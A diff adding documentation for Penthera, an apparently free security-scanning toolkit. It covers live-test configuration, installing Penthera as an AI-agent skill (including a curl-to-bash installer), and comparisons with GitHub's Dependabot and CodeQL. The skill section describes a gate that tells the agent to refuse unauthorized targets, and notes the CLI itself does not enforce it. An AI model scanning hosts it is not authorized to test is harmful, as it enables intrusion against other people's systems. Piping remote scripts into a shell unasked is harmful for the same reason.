+ code you have not reviewed.
85
+
86
+ Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
87
+ vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
88
+
89
+ ## Configuration
90
+
91
+ For live integration tests against your own routes:
92
+
93
+ ```bash
94
+ cp pentest.config.example.js pentest.config.js # gitignored
95
+ ```
96
+
97
+ Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
98
+ point at staging without editing the file.
99
+
100
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,58 @@
1
+ # Penthera as an Agent Skill
2
+
3
+ ## For your AI coding agent
4
+
5
+ Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
6
+ by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
7
+ The skill teaches an agent to run authorized scans, pick the right profile, and
8
+ summarize findings, so you can just describe what you want.
9
+
10
+ **Install** (any of these):
11
+
12
+ ```bash
13
+ # Cross-agent, frictionless
14
+ npx skills add danoszz/penthera
15
+
16
+ # Or the one-line installer (also links the CLI)
17
+ curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
18
+
19
+ # Or copy into a single project for team sharing
20
+ cp -r skills/penthera .cursor/skills/penthera # Cursor
21
+ cp -r skills/penthera .claude/skills/penthera # Claude Code
22
+ ```
23
+
24
+ Or as a Claude Code plugin (installs the skill):
25
+
26
+ ```bash
27
+ /plugin marketplace add danoszz/penthera
28
+ /plugin install penthera@penthera
29
+ ```
30
+
31
+ For Claude.ai (web), zip and upload the skill:
32
+
33
+ ```bash
34
+ npm run package:skill # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
35
+ ```
36
+
37
+ **Prompts that trigger it:**
38
+
39
+ - "Scan my localhost app on port 3000 for security issues"
40
+ - "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
41
+ - "Scan this repo for hardcoded secrets and exposed API routes"
42
+ - "Compare today's scan to last week's baseline and show only new findings"
43
+ - "Generate a SARIF report for GitHub code scanning"
44
+ - "Audit my MCP servers, skills and Claude Code hooks"
45
+
46
+ The skill adds an authorization gate: it instructs the agent to refuse targets you
47
+ do not own or are not authorized to test, and the wizard asks you to confirm before
48
+ scanning a remote host. It is an agent-level and interactive safeguard, not something
49
+ the raw CLI enforces. You are responsible for every target you pass it. Run preflight
50
+ before the first scan:
51
+
52
+ ```bash
53
+ bash skills/penthera/scripts/preflight.sh http://localhost:3000
54
+ ```
55
+
56
+ Skill source and workflows live in [`skills/penthera/SKILL.md`](../../skills/penthera/SKILL.md).
57
+
58
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,25 @@
1
+ # How Penthera compares
2
+
3
+ Penthera is a free, offline, MIT-licensed toolkit. Most teams that use it also
4
+ use at least one of the tools below, and these pages are written for them: what
5
+ each tool is for, where it goes further than Penthera, and how to run the two
6
+ together.
7
+
8
+ | Page | In one line |
9
+ |---|---|
10
+ | [Penthera and Socket](socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
11
+ | [Penthera and Snyk](snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behaviour, the running app and agent config |
12
+ | [Penthera and GitHub (Dependabot, code scanning)](github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
13
+ | [Penthera and OWASP ZAP](zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
14
+ | [Penthera and Semgrep](semgrep.md) | Semgrep is the deeper static analyser for your code; Penthera adds dependencies, the live app and AI tooling |
15
+
16
+ ## How these pages are written
17
+
18
+ - Every claim about another product comes from that product's public docs or
19
+ pricing page, linked inline. Anything we could not confirm is left out.
20
+ - Each page names where the other tool goes further. Most of them go further
21
+ than Penthera somewhere.
22
+ - Prices and plans change. Each page has a last-checked date; check the vendor's
23
+ page before you rely on a number.
24
+
25
+ Spotted something wrong or out of date? Please open an issue or a pull request.
@@ -0,0 +1,60 @@
1
+ # Penthera and GitHub (Dependabot and code scanning)
2
+
3
+ *Last checked: 2026-10-19 against GitHub's docs and security plans page.*
4
+
5
+ ## Use them together
6
+
7
+ If your code is on GitHub, you probably have Dependabot already. It alerts you
8
+ when a dependency has a known, reviewed vulnerability and opens a pull request
9
+ to the patched version. Code scanning with CodeQL finds bugs in your own code.
10
+ Penthera covers what those do not look at: what a package can do when it has no
11
+ advisory yet, the running app, and your AI tooling. Its SARIF output uploads
12
+ into the same code scanning tab, so findings sit in one place.
13
+
14
+ ## Side by side
15
+
16
+ | | Penthera | Dependabot and code scanning |
17
+ |---|---|---|
18
+ | Dependencies | Capabilities and the upgrade diff, typosquats, licenses; npm and Python | Alerts from GitHub-reviewed advisories in the GitHub Advisory Database ([alerts](https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)); security and version update PRs |
19
+ | Pull requests | Action that comments the capability diff | Dependency review action that can block a vulnerable change ([dependency review](https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)) |
20
+ | Your code | Routes, trust boundaries, secrets (JS/TS frameworks) | CodeQL queries across many languages |
21
+ | Secrets | Repo scan and a pre-commit hook on staged files | Secret scanning and push protection ([features](https://docs.github.com/en/code-security/getting-started/github-security-features)) |
22
+ | Running app | URL scan | No |
23
+ | AI tooling | `penthera agents` | No dedicated check |
24
+ | Where it runs | Your machine or any CI, offline | GitHub; the CodeQL CLI also runs locally ([CodeQL CLI](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli)) |
25
+ | Cost | Free | Dependabot is free on all plans. Code scanning, dependency review and secret scanning are free on public repos; private repos need GitHub Code Security ($30) or Secret Protection ($19) per active committer a month ([plans](https://github.com/security/plans)) |
26
+
27
+ ## Where GitHub goes further
28
+
29
+ - **Known-vulnerability coverage** across ecosystems, with update pull requests
30
+ generated for you. Penthera does not open pull requests at all.
31
+ - **CodeQL** is a far deeper code analyser than Penthera's repo scan.
32
+ - **Push protection** stops secrets on the server side, for every contributor,
33
+ without anyone installing a hook.
34
+ - **Zero setup** for public repositories.
35
+
36
+ ## Where Penthera adds something
37
+
38
+ - **Before an advisory exists.** Dependabot needs a reviewed advisory. Penthera's
39
+ capability diff shows a new install script or network call on the day it
40
+ appears.
41
+ - **The live app and your agent setup**, which GitHub's tools do not scan.
42
+ - **Private repos without a GitHub Advanced Security licence**, and code that is
43
+ not on GitHub.
44
+
45
+ ## Run both
46
+
47
+ Keep Dependabot and code scanning on. Add Penthera's action for the capability
48
+ diff ([docs/commands/action.md](../commands/action.md)) and upload its SARIF:
49
+
50
+ ```yaml
51
+ - run: npx penthera@1.6.0 "$PREVIEW_URL" --sarif reports/scan.sarif
52
+ - uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
53
+ with:
54
+ sarif_file: reports/scan.sarif
55
+ ```
56
+
57
+ Uploading SARIF to code scanning in a private repository also needs GitHub Code
58
+ Security.
59
+
60
+ [All comparisons](README.md) · [Back to the README](../../README.md)